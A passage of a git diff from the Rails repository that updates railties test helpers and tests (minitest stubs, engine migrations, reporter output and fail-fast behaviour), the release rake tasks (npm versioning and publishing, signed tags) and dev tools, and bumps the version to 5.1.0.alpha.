= "3b7cd727ee24e8444053437c36cc66c4" - app.config.session_store :cookie_store, key: "_myapp_session" - app.config.active_support.deprecation = :log - app.config.active_support.test_order = :random - app.config.log_level = :info + @app = Class.new(Rails::Application) + @app.config.eager_load = false + @app.secrets.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4" + @app.config.session_store :cookie_store, key: "_myapp_session" + @app.config.active_support.deprecation = :log + @app.config.active_support.test_order = :random + @app.config.log_level = :info - yield app if block_given? - app.initialize! + yield @app if block_given? + @app.initialize! - app.routes.draw do + @app.routes.draw do get "/" => "omg#index" end @@ -264,15 +272,22 @@ module TestHelpers end def remove_from_config(str) - file = "#{app_path}/config/application.rb" + remove_from_file("#{app_path}/config/application.rb", str) + end + + def remove_from_env_config(env, str) + remove_from_file("#{app_path}/config/environments/#{env}.rb", str) + end + + def remove_from_file(file, str) contents = File.read(file) - contents.sub!(/#{str}/, "") - File.open(file, "w+") { |f| f.puts contents } + contents.sub!(/#{str}/, '') + File.write(file, contents) end - def app_file(path, contents) + def app_file(path, contents, mode = 'w') FileUtils.mkdir_p File.dirname("#{app_path}/#{path}") - File.open("#{app_path}/#{path}", 'w') do |f| + File.open("#{app_path}/#{path}", mode) do |f| f.puts contents end end @@ -296,7 +311,6 @@ module TestHelpers end def boot_rails - require File.expand_path('../../../../load_paths', __FILE__) end end end @@ -308,7 +322,6 @@ class ActiveSupport::TestCase include ActiveSupport::Testing::Stream self.test_order = :sorted - end # Create a scope and build a fixture rails app @@ -319,12 +332,8 @@ Module.new do FileUtils.rm_rf(app_template_path) FileUtils.mkdir(app_template_path) - environment = File.expand_path('../../../../load_paths', __FILE__) - require_environment = "-r #{environment}" - - `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/railties/bin/rails new #{app_template_path} --skip-gemfile --no-rc` + `#{Gem.ruby} #{RAILS_FRAMEWORK_ROOT}/railties/exe/rails new #{app_template_path} --skip-gemfile --skip-listen --no-rc` File.open("#{app_template_path}/config/boot.rb", 'w') do |f| - f.puts "require '#{environment}'" f.puts "require 'rails/all'" end end unless defined?(RAILS_ISOLATED_ENGINE) diff --git a/railties/test/path_generation_test.rb b/railties/test/path_generation_test.rb index e3dfcdfb7d..a16adc72a6 100644 --- a/railties/test/path_generation_test.rb +++ b/railties/test/path_generation_test.rb @@ -1,40 +1,36 @@ require 'abstract_unit' require 'active_support/core_ext/object/with_options' require 'active_support/core_ext/object/json' -require 'rails' -require 'rails/application' - -ROUTING = ActionDispatch::Routing class PathGenerationTest < ActiveSupport::TestCase attr_reader :app - class TestSet < ROUTING::RouteSet + class TestSet < ActionDispatch::Routing::RouteSet def initialize(block) @block = block super() end - class Dispatcher < ROUTING::RouteSet::Dispatcher - def initialize(defaults, set, block) - super(defaults) + class Request < DelegateClass(ActionDispatch::Request) + def initialize(target, url_helpers, block) + super(target) + @url_helpers = url_helpers @block = block - @set = set end - def controller_reference(controller_param) + def controller_class + url_helpers = @url_helpers block = @block - set = @set Class.new(ActionController::Base) { - include set.url_helpers + include url_helpers define_method(:process) { |name| block.call(self) } def to_a; [200, {}, []]; end } end end - def dispatcher defaults - TestSet::Dispatcher.new defaults, self, @block + def make_request(env) + Request.new super, self.url_helpers, @block end end diff --git a/railties/test/paths_test.rb b/railties/test/paths_test.rb index 1aeb9ec339..96b54c7264 100644 --- a/railties/test/paths_test.rb +++ b/railties/test/paths_test.rb @@ -1,10 +1,9 @@ require 'abstract_unit' require 'rails/paths' -require 'mocha/setup' # FIXME: stop using mocha +require 'minitest/mock' class PathsTest < ActiveSupport::TestCase def setup - File.stubs(:exist?).returns(true) @root = Rails::Paths::Root.new("/foo/bar") end @@ -63,6 +62,13 @@ class PathsTest < ActiveSupport::TestCase assert_equal ["/foo/bar/baz"], @root["app/models"].to_a end + test "absolute current path" do + @root.add "config" + @root.add "config/locales" + + assert_equal "/foo/bar/config/locales", @root["config/locales"].absolute_current + end + test "adding multiple physical paths as an array" do @root.add "app", with: ["/app", "/app2"] assert_equal ["/app", "/app2"], @root["app"].to_a @@ -93,10 +99,12 @@ class PathsTest < ActiveSupport::TestCase end test "it is possible to add a path that should be autoloaded only once" do - @root.add "app", with: "/app" - @root["app"].autoload_once! - assert @root["app"].autoload_once? - assert @root.autoload_once.include?(@root["app"].expanded.first) + File.stub(:exist?, true) do + @root.add "app", with: "/app" + @root["app"].autoload_once! + assert @root["app"].autoload_once? + assert @root.autoload_once.include?(@root["app"].expanded.first) + end end test "it is possible to remove a path that should be autoloaded only once" do @@ -110,37 +118,47 @@ class PathsTest < ActiveSupport::TestCase end test "it is possible to add a path without assignment and specify it should be loaded only once" do - @root.add "app", with: "/app", autoload_once: true - assert @root["app"].autoload_once? - assert @root.autoload_once.include?("/app") + File.stub(:exist?, true) do + @root.add "app", with: "/app", autoload_once: true + assert @root["app"].autoload_once? + assert @root.autoload_once.include?("/app") + end end test "it is possible to add multiple paths without assignment and specify it should be loaded only once" do - @root.add "app", with: ["/app", "/app2"], autoload_once: true - assert @root["app"].autoload_once? - assert @root.autoload_once.include?("/app") - assert @root.autoload_once.include?("/app2") + File.stub(:exist?, true) do + @root.add "app", with: ["/app", "/app2"], autoload_once: true + assert @root["app"].autoload_once? + assert @root.autoload_once.include?("/app") + assert @root.autoload_once.include?("/app2") + end end test "making a path autoload_once more than once only includes it once in @root.load_once" do - @root["app"] = "/app" - @root["app"].autoload_once! - @root["app"].autoload_once! - assert_equal 1, @root.autoload_once.select {|p| p == @root["app"].expanded.first }.size + File.stub(:exist?, true) do + @root["app"] = "/app" + @root["app"].autoload_once! + @root["app"].autoload_once! + assert_equal 1, @root.autoload_once.select {|p| p == @root["app"].expanded.first }.size + end end test "paths added to a load_once path should be added to the autoload_once collection" do - @root["app"] = "/app" - @root["app"].autoload_once! - @root["app"] << "/app2" - assert_equal 2, @root.autoload_once.size + File.stub(:exist?, true) do + @root["app"] = "/app" + @root["app"].autoload_once! + @root["app"] << "/app2" + assert_equal 2, @root.autoload_once.size + end end test "it is possible to mark a path as eager loaded" do - @root["app"] = "/app" - @root["app"].eager_load! - assert @root["app"].eager_load? - assert @root.eager_load.include?(@root["app"].to_a.first) + File.stub(:exist?, true) do + @root["app"] = "/app" + @root["app"].eager_load! + assert @root["app"].eager_load? + assert @root.eager_load.include?(@root["app"].to_a.first) + end end test "it is possible to skip a path from eager loading" do @@ -154,38 +172,48 @@ class PathsTest < ActiveSupport::TestCase end test "it is possible to add a path without assignment and mark it as eager" do - @root.add "app", with: "/app", eager_load: true - assert @root["app"].eager_load? - assert @root.eager_load.include?("/app") + File.stub(:exist?, true) do + @root.add "app", with: "/app", eager_load: true + assert @root["app"].eager_load? + assert @root.eager_load.include?("/app") + end end test "it is possible to add multiple paths without assignment and mark them as eager" do - @root.add "app", with: ["/app", "/app2"], eager_load: true - assert @root["app"].eager_load? - assert @root.eager_load.include?("/app") - assert @root.eager_load.include?("/app2") + File.stub(:exist?, true) do + @root.add "app", with: ["/app", "/app2"], eager_load: true + assert @root["app"].eager_load? + assert @root.eager_load.include?("/app") + assert @root.eager_load.include?("/app2") + end end test "it is possible to create a path without assignment and mark it both as eager and load once" do - @root.add "app", with: "/app", eager_load: true, autoload_once: true - assert @root["app"].eager_load? - assert @root["app"].autoload_once? - assert @root.eager_load.include?("/app") - assert @root.autoload_once.include?("/app") + File.stub(:exist?, true) do + @root.add "app", with: "/app", eager_load: true, autoload_once: true + assert @root["app"].eager_load? + assert @root["app"].autoload_once? + assert @root.eager_load.include?("/app") + assert @root.autoload_once.include?("/app") + end end test "making a path eager more than once only includes it once in @root.eager_paths" do - @root["app"] = "/app" - @root["app"].eager_load! - @root["app"].eager_load! - assert_equal 1, @root.eager_load.select {|p| p == @root["app"].expanded.first }.size + File.stub(:exist?, true) do + @root["app"] = "/app" + @root["app"].eager_load! + @root["app"].eager_load! + assert_equal 1, @root.eager_load.select {|p| p == @root["app"].expanded.first }.size + end end test "paths added to an eager_load path should be added to the eager_load collection" do - @root["app"] = "/app" - @root["app"].eager_load! - @root["app"] << "/app2" - assert_equal 2, @root.eager_load.size + File.stub(:exist?, true) do + @root["app"] = "/app" + @root["app"].eager_load! + @root["app"] << "/app2" + assert_equal 2, @root.eager_load.size + end end test "it should be possible to add a path's default glob" do @@ -194,6 +222,12 @@ class PathsTest < ActiveSupport::TestCase assert_equal "*.rb", @root["app"].glob end + test "it should be possible to get extensions by glob" do + @root["app"] = "/app" + @root["app"].glob = "*.{rb,yml}" + assert_equal ["rb", "yml"], @root["app"].extensions + end + test "it should be possible to override a path's default glob without assignment" do @root.add "app", with: "/app", glob: "*.rb" assert_equal "*.rb", @root["app"].glob @@ -207,28 +241,36 @@ class PathsTest < ActiveSupport::TestCase end test "a path can be added to the load path" do - @root["app"] = "app" - @root["app"].load_path! - @root["app/models"] = "app/models" - assert_equal ["/foo/bar/app"], @root.load_paths + File.stub(:exist?, true) do + @root["app"] = "app" + @root["app"].load_path! + @root["app/models"] = "app/models" + assert_equal ["/foo/bar/app"], @root.load_paths + end end test "a path can be added to the load path on creation" do - @root.add "app", with: "/app", load_path: true - assert @root["app"].load_path? - assert_equal ["/app"], @root.load_paths + File.stub(:exist?, true) do + @root.add "app", with: "/app", load_path: true + assert @root["app"].load_path? + assert_equal ["/app"], @root.load_paths + end end test "a path can be marked as autoload path" do - @root["app"] = "app" - @root["app"].autoload! - @root["app/models"] = "app/models" - assert_equal ["/foo/bar/app"], @root.autoload_paths + File.stub(:exist?, true) do + @root["app"] = "app" + @root["app"].autoload! + @root["app/models"] = "app/models" + assert_equal ["/foo/bar/app"], @root.autoload_paths + end end test "a path can be marked as autoload on creation" do - @root.add "app", with: "/app", autoload: true - assert @root["app"].autoload? - assert_equal ["/app"], @root.autoload_paths + File.stub(:exist?, true) do + @root.add "app", with: "/app", autoload: true + assert @root["app"].autoload? + assert_equal ["/app"], @root.autoload_paths + end end end diff --git a/railties/test/railties/engine_test.rb b/railties/test/railties/engine_test.rb index 6185742cc1..4a47ab32b4 100644 --- a/railties/test/railties/engine_test.rb +++ b/railties/test/railties/engine_test.rb @@ -63,22 +63,22 @@ module RailtiesTest test "copying migrations" do @plugin.write "db/migrate/1_create_users.rb", <<-RUBY - class CreateUsers < ActiveRecord::Migration + class CreateUsers < ActiveRecord::Migration::Current end RUBY @plugin.write "db/migrate/2_add_last_name_to_users.rb", <<-RUBY - class AddLastNameToUsers < ActiveRecord::Migration + class AddLastNameToUsers < ActiveRecord::Migration::Current end RUBY @plugin.write "db/migrate/3_create_sessions.rb", <<-RUBY - class CreateSessions < ActiveRecord::Migration + class CreateSessions < ActiveRecord::Migration::Current end RUBY app_file "db/migrate/1_create_sessions.rb", <<-RUBY - class CreateSessions < ActiveRecord::Migration + class CreateSessions < ActiveRecord::Migration::Current def up end end @@ -123,12 +123,12 @@ module RailtiesTest end @plugin.write "db/migrate/1_create_users.rb", <<-RUBY - class CreateUsers < ActiveRecord::Migration + class CreateUsers < ActiveRecord::Migration::Current end RUBY @blog.write "db/migrate/2_create_blogs.rb", <<-RUBY - class CreateBlogs < ActiveRecord::Migration + class CreateBlogs < ActiveRecord::Migration::Current end RUBY @@ -163,11 +163,11 @@ module RailtiesTest end @core.write "db/migrate/1_create_users.rb", <<-RUBY - class CreateUsers < ActiveRecord::Migration; end + class CreateUsers < ActiveRecord::Migration::Current; end RUBY @api.write "db/migrate/2_create_keys.rb", <<-RUBY - class CreateKeys < ActiveRecord::Migration; end + class CreateKeys < ActiveRecord::Migration::Current; end RUBY boot_rails @@ -190,7 +190,7 @@ module RailtiesTest RUBY @plugin.write "db/migrate/0_add_first_name_to_users.rb", <<-RUBY - class AddFirstNameToUsers < ActiveRecord::Migration + class AddFirstNameToUsers < ActiveRecord::Migration::Current end RUBY @@ -1155,10 +1155,10 @@ YAML assert_equal "App's bar partial", last_response.body.strip get("/assets/foo.js") - assert_equal "// Bukkit's foo js\n;", last_response.body.strip + assert_equal "// Bukkit's foo js", last_response.body.strip get("/assets/bar.js") - assert_equal "// App's bar js\n;", last_response.body.strip + assert_equal "// App's bar js", last_response.body.strip # ensure that railties are not added twice railties = Rails.application.send(:ordered_railties).map(&:class) @@ -1205,7 +1205,7 @@ YAML test "engine can be properly mounted at root" do add_to_config("config.action_dispatch.show_exceptions = false") - add_to_config("config.serve_static_files = false") + add_to_config("config.public_file_server.enabled = false") @plugin.write "lib/bukkits.rb", <<-RUBY module Bukkits @@ -1304,6 +1304,55 @@ YAML assert_equal '/foo/bukkits/bukkit', last_response.body end + test "paths are properly generated when application is mounted at sub-path and relative_url_root is set" do + add_to_config "config.relative_url_root = '/foo'" + + @plugin.write "lib/bukkits.rb", <<-RUBY + module Bukkits + class Engine < ::Rails::Engine + isolate_namespace Bukkits + end + end + RUBY + + app_file "app/controllers/bar_controller.rb", <<-RUBY + class BarController < ApplicationController + def index + render text: bukkits.bukkit_path + end + end + RUBY + + app_file "config/routes.rb", <<-RUBY + Rails.application.routes.draw do + get '/bar' => 'bar#index', :as => 'bar' + mount Bukkits::Engine => "/bukkits", :as => "bukkits" + end + RUBY + + @plugin.write "config/routes.rb", <<-RUBY + Bukkits::Engine.routes.draw do + get '/bukkit' => 'bukkit#index' + end + RUBY + + @plugin.write "app/controllers/bukkits/bukkit_controller.rb", <<-RUBY + class Bukkits::BukkitController < ActionController::Base + def index + render text: main_app.bar_path + end + end + RUBY + + boot_rails + + get("/bukkits/bukkit", {}, {'SCRIPT_NAME' => '/foo'}) + assert_equal '/foo/bar', last_response.body + + get("/bar", {}, {'SCRIPT_NAME' => '/foo'}) + assert_equal '/foo/bukkits/bukkit', last_response.body + end + private def app Rails.application diff --git a/railties/test/railties/generators_test.rb b/railties/test/railties/generators_test.rb index 7348d70c56..b85e16c040 100644 --- a/railties/test/railties/generators_test.rb +++ b/railties/test/railties/generators_test.rb @@ -26,11 +26,7 @@ module RailtiesTests end def rails(cmd) - environment = File.expand_path('../../../../load_paths', __FILE__) - if File.exist?("#{environment}.rb") - require_environment = "-r #{environment}" - end - `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/railties/bin/rails #{cmd}` + `#{Gem.ruby} #{RAILS_FRAMEWORK_ROOT}/railties/exe/rails #{cmd}` end def build_engine(is_mountable=false) @@ -122,5 +118,13 @@ module RailtiesTests assert_no_file "app/helpers/foo_bar/topics_helper.rb" end end + + def test_assert_file_with_special_characters + path = "#{app_path}/tmp" + file_name = "#{path}/v0.1.4~alpha+nightly" + FileUtils.mkdir_p path + FileUtils.touch file_name + assert_file file_name + end end end diff --git a/railties/test/test_info_test.rb b/railties/test/test_info_test.rb deleted file mode 100644 index b9c3a9c0c7..0000000000 --- a/railties/test/test_info_test.rb +++ /dev/null @@ -1,60 +0,0 @@ -require 'abstract_unit' -require 'rails/test_unit/sub_test_task' - -module Rails - class TestInfoTest < ActiveSupport::TestCase - def test_test_files - info = new_test_info ['test'] - assert_predicate info.files, :empty? - assert_nil info.opts - assert_equal ['test'], info.tasks - end - - def test_with_file - info = new_test_info ['test', __FILE__] - assert_equal [__FILE__], info.files - assert_nil info.opts - assert_equal ['test'], info.tasks - end - - def test_with_opts - info = new_test_info ['test', __FILE__, '/foo/'] - assert_equal [__FILE__], info.files - assert_equal '-n /foo/', info.opts - assert_equal ['test'], info.tasks - end - - def test_with_model_shorthand - info = new_test_info ['test', 'models/foo', '/foo/'] - - def info.test_file?(file) - file == "test/models/foo_test.rb" || super - end - - assert_equal ['test/models/foo_test.rb'], info.files - assert_equal '-n /foo/', info.opts - assert_equal ['test'], info.tasks - end - - def test_with_model_path - info = new_test_info ['test', 'app/models/foo.rb', '/foo/'] - - def info.test_file?(file) - file == "test/models/foo_test.rb" || super - end - - assert_equal ['test/models/foo_test.rb'], info.files - assert_equal '-n /foo/', info.opts - assert_equal ['test'], info.tasks - end - - private - def new_test_info(tasks) - Class.new(TestTask::TestInfo) { - def task_defined?(task) - task == "test" - end - }.new tasks - end - end -end diff --git a/railties/test/test_unit/reporter_test.rb b/railties/test/test_unit/reporter_test.rb index 77883612f5..0d64b48550 100644 --- a/railties/test/test_unit/reporter_test.rb +++ b/railties/test/test_unit/reporter_test.rb @@ -1,5 +1,6 @@ require 'abstract_unit' require 'rails/test_unit/reporter' +require 'minitest/mock' class TestUnitReporterTest < ActiveSupport::TestCase class ExampleTest < Minitest::Test @@ -8,14 +9,14 @@ class TestUnitReporterTest < ActiveSupport::TestCase setup do @output = StringIO.new - @reporter = Rails::TestUnitReporter.new @output + @reporter = Rails::TestUnitReporter.new @output, output_inline: true end test "prints rerun snippet to run a single failed test" do @reporter.record(failed_test) @reporter.report - assert_match %r{^bin/rails test .*test/test_unit/reporter_test.rb:6$}, @output.string + assert_match %r{^bin/rails test .*test/test_unit/reporter_test.rb:\d+$}, @output.string assert_rerun_snippet_count 1 end @@ -32,6 +33,7 @@ class TestUnitReporterTest < ActiveSupport::TestCase @reporter.record(passing_test) @reporter.record(skipped_test) @reporter.report + assert_no_match 'Failed tests:', @output.string assert_rerun_snippet_count 0 end @@ -43,6 +45,116 @@ class TestUnitReporterTest < ActiveSupport::TestCase assert_rerun_snippet_count 1 end + test "allows to customize the executable in the rerun snippet" do + original_executable = Rails::TestUnitReporter.executable + begin + Rails::TestUnitReporter.executable = "bin/test" + @reporter.record(failed_test) + @reporter.report + + assert_match %r{^bin/test .*test/test_unit/reporter_test.rb:\d+$}, @output.string + ensure + Rails::TestUnitReporter.executable = original_executable + end + end + + test "outputs failures inline" do + @reporter.record(failed_test) + @reporter.report + + expect = %r{\AF\n\nFailure:\nTestUnitReporterTest::ExampleTest#woot \[[^\]]+\]:\nboo\n\nbin/rails test test/test_unit/reporter_test.rb:\d+\n\n\z} + assert_match expect, @output.string + end + + test "outputs errors inline" do + @reporter.record(errored_test) + @reporter.report + + expect = %r{\AE\n\nError:\nTestUnitReporterTest::ExampleTest#woot:\nArgumentError: wups\n No backtrace\n\nbin/rails test .*test/test_unit/reporter_test.rb:\d+\n\n\z} + assert_match expect, @output.string + end + + test "outputs skipped tests inline if verbose" do + verbose = Rails::TestUnitReporter.new @output, verbose: true, output_inline: true + verbose.record(skipped_test) + verbose.report + + expect = %r{\ATestUnitReporterTest::ExampleTest#woot = 10\.00 s = S\n\n\nSkipped:\nTestUnitReporterTest::ExampleTest#woot \[[^\]]+\]:\nskipchurches, misstemples\n\nbin/rails test test/test_unit/reporter_test.rb:\d+\n\n\z} + assert_match expect, @output.string + end + + test "does not output rerun snippets after run" do + @reporter.record(failed_test) + @reporter.report + + assert_no_match 'Failed tests:', @output.string + end + + test "fail fast interrupts run on failure" do + fail_fast = Rails::TestUnitReporter.new @output, fail_fast: true + interrupt_raised = false + + # Minitest passes through Interrupt, catch it manually. + begin + fail_fast.record(failed_test) + rescue Interrupt + interrupt_raised = true + ensure + assert interrupt_raised, 'Expected Interrupt to be raised.' + end + end + + test "fail fast interrupts run on error" do + fail_fast = Rails::TestUnitReporter.new @output, fail_fast: true + interrupt_raised = false + + # Minitest passes through Interrupt, catch it manually. + begin + fail_fast.record(errored_test) + rescue Interrupt + interrupt_raised = true + ensure + assert interrupt_raised, 'Expected Interrupt to be raised.' + end + end + + test "fail fast does not interrupt run skips" do + fail_fast = Rails::TestUnitReporter.new @output, fail_fast: true + + fail_fast.record(skipped_test) + assert_no_match 'Failed tests:', @output.string + end + + test "outputs colored passing results" do + @output.stub(:tty?, true) do + colored = Rails::TestUnitReporter.new @output, color: true, output_inline: true + colored.record(passing_test) + + expect = %r{\e\[32m\.\e\[0m} + assert_match expect, @output.string + end + end + + test "outputs colored skipped results" do + @output.stub(:tty?, true) do + colored = Rails::TestUnitReporter.new @output, color: true, output_inline: true + colored.record(skipped_test) + + expect = %r{\e\[33mS\e\[0m} + assert_match expect, @output.string + end + end + + test "outputs colored failed results" do + @output.stub(:tty?, true) do + colored = Rails::TestUnitReporter.new @output, color: true, output_inline: true + colored.record(errored_test) + + expected = %r{\e\[31mE\e\[0m\n\n\e\[31mError:\nTestUnitReporterTest::ExampleTest#woot:\nArgumentError: wups\n No backtrace\n\e\[0m} + assert_match expected, @output.string + end + end + private def assert_rerun_snippet_count(snippet_count) assert_equal snippet_count, @output.string.scan(%r{^bin/rails test }).size @@ -58,6 +170,12 @@ class TestUnitReporterTest < ActiveSupport::TestCase ft end + def errored_test + et = ExampleTest.new(:woot) + et.failures << Minitest::UnexpectedError.new(ArgumentError.new("wups")) + et + end + def passing_test ExampleTest.new(:woot) end @@ -65,10 +183,11 @@ class TestUnitReporterTest < ActiveSupport::TestCase def skipped_test st = ExampleTest.new(:woot) st.failures << begin - raise Minitest::Skip + raise Minitest::Skip, "skipchurches, misstemples" rescue Minitest::Assertion => e e end + st.time = 10 st end end diff --git a/railties/test/test_unit/runner_test.rb b/railties/test/test_unit/runner_test.rb deleted file mode 100644 index 9ea8b2c114..0000000000 --- a/railties/test/test_unit/runner_test.rb +++ /dev/null @@ -1,111 +0,0 @@ -require 'abstract_unit' -require 'env_helpers' -require 'rails/test_unit/runner' - -class TestUnitTestRunnerTest < ActiveSupport::TestCase - include EnvHelpers - - setup do - @options = Rails::TestRunner::Options - end - - test "shows the filtered backtrace by default" do - options = @options.parse([]) - assert_not options[:backtrace] - end - - test "has --backtrace (-b) option to show the full backtrace" do - options = @options.parse(["-b"]) - assert options[:backtrace] - - options = @options.parse(["--backtrace"]) - assert options[:backtrace] - end - - test "show full backtrace using BACKTRACE environment variable" do - switch_env "BACKTRACE", "true" do - options = @options.parse([]) - assert options[:backtrace] - end - end - - test "tests run in the test environment by default" do - options = @options.parse([]) - assert_equal "test", options[:environment] - end - - test "can run in a specific environment" do - options = @options.parse(["-e development"]) - assert_equal "development", options[:environment] - end - - test "parse the filename and line" do - file = "test/test_unit/runner_test.rb" - absolute_file = File.expand_path __FILE__ - options = @options.parse(["#{file}:20"]) - assert_equal absolute_file, options[:filename] - assert_equal 20, options[:line] - - options = @options.parse(["#{file}:"]) - assert_equal [absolute_file], options[:patterns] - assert_nil options[:line] - - options = @options.parse([file]) - assert_equal [absolute_file], options[:patterns] - assert_nil options[:line] - end - - test "find_method on same file" do - options = @options.parse(["#{__FILE__}:#{__LINE__}"]) - runner = Rails::TestRunner.new(options) - assert_equal "test_find_method_on_same_file", runner.find_method - end - - test "find_method on a different file" do - options = @options.parse(["foobar.rb:#{__LINE__}"]) - runner = Rails::TestRunner.new(options) - assert_nil runner.find_method - end - - test "run all tests in a directory" do - options = @options.parse([__dir__]) - - assert_equal ["#{__dir__}/**/*_test.rb"], options[:patterns] - assert_nil options[:filename] - assert_nil options[:line] - end - - test "run multiple folders" do - application_dir = File.expand_path("#{__dir__}/../application") - - options = @options.parse([__dir__, application_dir]) - - assert_equal ["#{__dir__}/**/*_test.rb", "#{application_dir}/**/*_test.rb"], options[:patterns] - assert_nil options[:filename] - assert_nil options[:line] - - runner = Rails::TestRunner.new(options) - assert runner.test_files.size > 0 - end - - test "run multiple files and run one file by line" do - line = __LINE__ - absolute_file = File.expand_path(__FILE__) - options = @options.parse([__dir__, "#{__FILE__}:#{line}"]) - - assert_equal ["#{__dir__}/**/*_test.rb"], options[:patterns] - assert_equal absolute_file, options[:filename] - assert_equal line, options[:line] - - runner = Rails::TestRunner.new(options) - assert_equal [absolute_file], runner.test_files, 'Only returns the file that running by line' - end - - test "running multiple files passing line number" do - line = __LINE__ - options = @options.parse(["foobar.rb:8", "#{__FILE__}:#{line}"]) - - assert_equal File.expand_path(__FILE__), options[:filename], 'Returns the last file' - assert_equal line, options[:line] - end -end diff --git a/tasks/release.rb b/tasks/release.rb index d8c1390eef..e54b03eafa 100644 --- a/tasks/release.rb +++ b/tasks/release.rb @@ -1,4 +1,4 @@ -FRAMEWORKS = %w( activesupport activemodel activerecord actionview actionpack activejob actionmailer railties ) +FRAMEWORKS = %w( activesupport activemodel activerecord actionview actionpack activejob actionmailer actioncable railties ) root = File.expand_path('../../', __FILE__) version = File.read("#{root}/RAILS_VERSION").strip @@ -13,6 +13,7 @@ directory "pkg" task :clean do rm_f gem + sh "cd #{framework} && bundle exec rake package:clean" unless framework == "rails" end task :update_versions do @@ -27,7 +28,7 @@ directory "pkg" file = Dir[glob].first ruby = File.read(file) - major, minor, tiny, pre = version.split('.') + major, minor, tiny, pre = version.split('.', 4) pre = pre ? pre.inspect : "nil" ruby.gsub!(/^(\s*)MAJOR(\s*)= .*?$/, "\\1MAJOR = #{major}") @@ -43,36 +44,77 @@ directory "pkg" raise "Could not insert PRE in #{file}" unless $1 File.open(file, 'w') { |f| f.write ruby } + + if File.exist?("#{framework}/package.json") + Dir.chdir("#{framework}") do + # This "npm-ifies" the current version + # With npm, versions such as "5.0.0.rc1" or "5.0.0.beta1.1" are not compliant with its + # versioning system, so they must be transformed to "5.0.0-rc1" and "5.0.0-beta1-1" respectively. + + # In essence, the code below runs through all "."s that appear in the version, + # and checks to see if their index in the version string is greater than or equal to 2, + # and if so, it will change the "." to a "-". + + # Sample version transformations: + # irb(main):001:0> version = "5.0.1.1" + # => "5.0.1.1" + # irb(main):002:0> version.gsub(/\./).with_index { |s, i| i >= 2 ? '-' : s } + # => "5.0.1-1" + # irb(main):003:0> version = "5.0.0.rc1" + # => "5.0.0.rc1" + # irb(main):004:0> version.gsub(/\./).with_index { |s, i| i >= 2 ? '-' : s } + # => "5.0.0-rc1" + version = version.gsub(/\./).with_index { |s, i| i >= 2 ? '-' : s } + + # Check if npm is installed, and raise an error if not + if sh 'which npm' + sh "npm version #{version} --no-git-tag-version" + else + raise 'You must have npm installed to release Rails.' + end + end + end end task gem => %w(update_versions pkg) do cmd = "" cmd << "cd #{framework} && " unless framework == "rails" + cmd << "bundle exec rake package && " unless framework == "rails" cmd << "gem build #{gemspec} && mv #{framework}-#{version}.gem #{root}/pkg/" sh cmd end task :build => [:clean, gem] task :install => :build do - sh "gem install #{gem}" + sh "gem install --pre #{gem}" end - task :prep_release => [:ensure_clean_state, :build] - task :push => :build do sh "gem push #{gem}" + sh "npm publish" if File.exist?("#{framework}/package.json") end end end namespace :changelog do + task :header do + (FRAMEWORKS + ['guides']).each do |fw| + require 'date' + fname = File.join fw, 'CHANGELOG.md' + + header = "## Rails #{version} (#{Date.today.strftime('%B %d, %Y')}) ##\n\n* No changes.\n\n\n" + contents = header + File.read(fname) + File.open(fname, 'wb') { |f| f.write contents } + end + end + task :release_date do (FRAMEWORKS + ['guides']).each do |fw| require 'date' - replace = '\1(' + Date.today.strftime('%B %d, %Y') + ')' + replace = "## Rails #{version} (#{Date.today.strftime('%B %d, %Y')}) ##\n" fname = File.join fw, 'CHANGELOG.md' - contents = File.read(fname).sub(/^([^(]*)\(unreleased\)/, replace) + contents = File.read(fname).sub(/^(## Rails .*)\n/, replace) File.open(fname, 'wb') { |f| f.write contents } end end @@ -98,7 +140,7 @@ namespace :all do task :push => FRAMEWORKS.map { |f| "#{f}:push" } + ['rails:push'] task :ensure_clean_state do - unless `git status -s | grep -v RAILS_VERSION`.strip.empty? + unless `git status -s | grep -v 'RAILS_VERSION\\|CHANGELOG\\|Gemfile.lock'`.strip.empty? abort "[ABORTING] `git status` reports a dirty tree. Make sure all changes are committed" end @@ -108,6 +150,10 @@ namespace :all do end end + task :bundle do + sh 'bundle check' + end + task :commit do File.open('pkg/commit_message.txt', 'w') do |f| f.puts "# Preparing for #{version} release\n" @@ -120,9 +166,11 @@ namespace :all do end task :tag do - sh "git tag -m '#{tag} release' #{tag}" + sh "git tag -s -m '#{tag} release' #{tag}" sh "git push --tags" end - task :release => %w(ensure_clean_state build commit tag push) + task :prep_release => %w(ensure_clean_state build) + + task :release => %w(ensure_clean_state build bundle commit tag push) end diff --git a/tools/README.md b/tools/README.md index 25ab798bd5..b2e7e4b0ae 100644 --- a/tools/README.md +++ b/tools/README.md @@ -1,7 +1,8 @@ -## Rails dev tools +# Rails dev tools This is a collection of utilities used for Rails internal development. They aren't used by Rails apps directly. * `console` drops you in irb and loads local Rails repos * `profile` profiles `Kernel#require` to help reduce startup time + * `line_statistics` provides CodeTools module and LineStatistics class to count lines diff --git a/tools/console b/tools/console index ea995a1a54..98a848ff6b 100755 --- a/tools/console +++ b/tools/console @@ -1,5 +1,7 @@ #!/usr/bin/env ruby -require File.expand_path('../../load_paths', __FILE__) +require 'bundler' +Bundler.setup + require 'rails/all' require 'active_support/all' require 'irb' diff --git a/tools/profile b/tools/profile index eb7fc7792b..191e73b3dd 100755 --- a/tools/profile +++ b/tools/profile @@ -117,9 +117,9 @@ rescue LoadError def camelize(uppercase_first_letter = true) string = self if uppercase_first_letter - string = string.sub(/^[a-z\d]*/) { $&.capitalize } + string = string.sub(/^[a-z\d]*/) { |match| match.capitalize } else - string = string.sub(/^(?:(?=\b|[A-Z_])|\w)/) { $&.downcase } + string = string.sub(/^(?:(?=\b|[A-Z_])|\w)/) { |match| match.downcase } end string.gsub(/(?:_|(\/))([a-z\d]*)/) { "#{$1}#{$2.capitalize}" }.gsub('/', '::') end diff --git a/tools/test.rb b/tools/test.rb new file mode 100644 index 0000000000..62e0faa3db --- /dev/null +++ b/tools/test.rb @@ -0,0 +1,15 @@ +$: << File.expand_path("test", COMPONENT_ROOT) + +require 'bundler' +Bundler.setup + +require "rails/test_unit/minitest_plugin" + +module Rails + # Necessary to get rerun-snippts working. + def self.root + @root ||= Pathname.new(COMPONENT_ROOT) + end +end + +Rails::TestUnitReporter.executable = "bin/test" diff --git a/version.rb b/version.rb index 7d74b1bfe5..9c49e0655a 100644 --- a/version.rb +++ b/version.rb @@ -6,7 +6,7 @@ module Rails module VERSION MAJOR = 5 - MINOR = 0 + MINOR = 1 TINY = 0 PRE = "alpha" |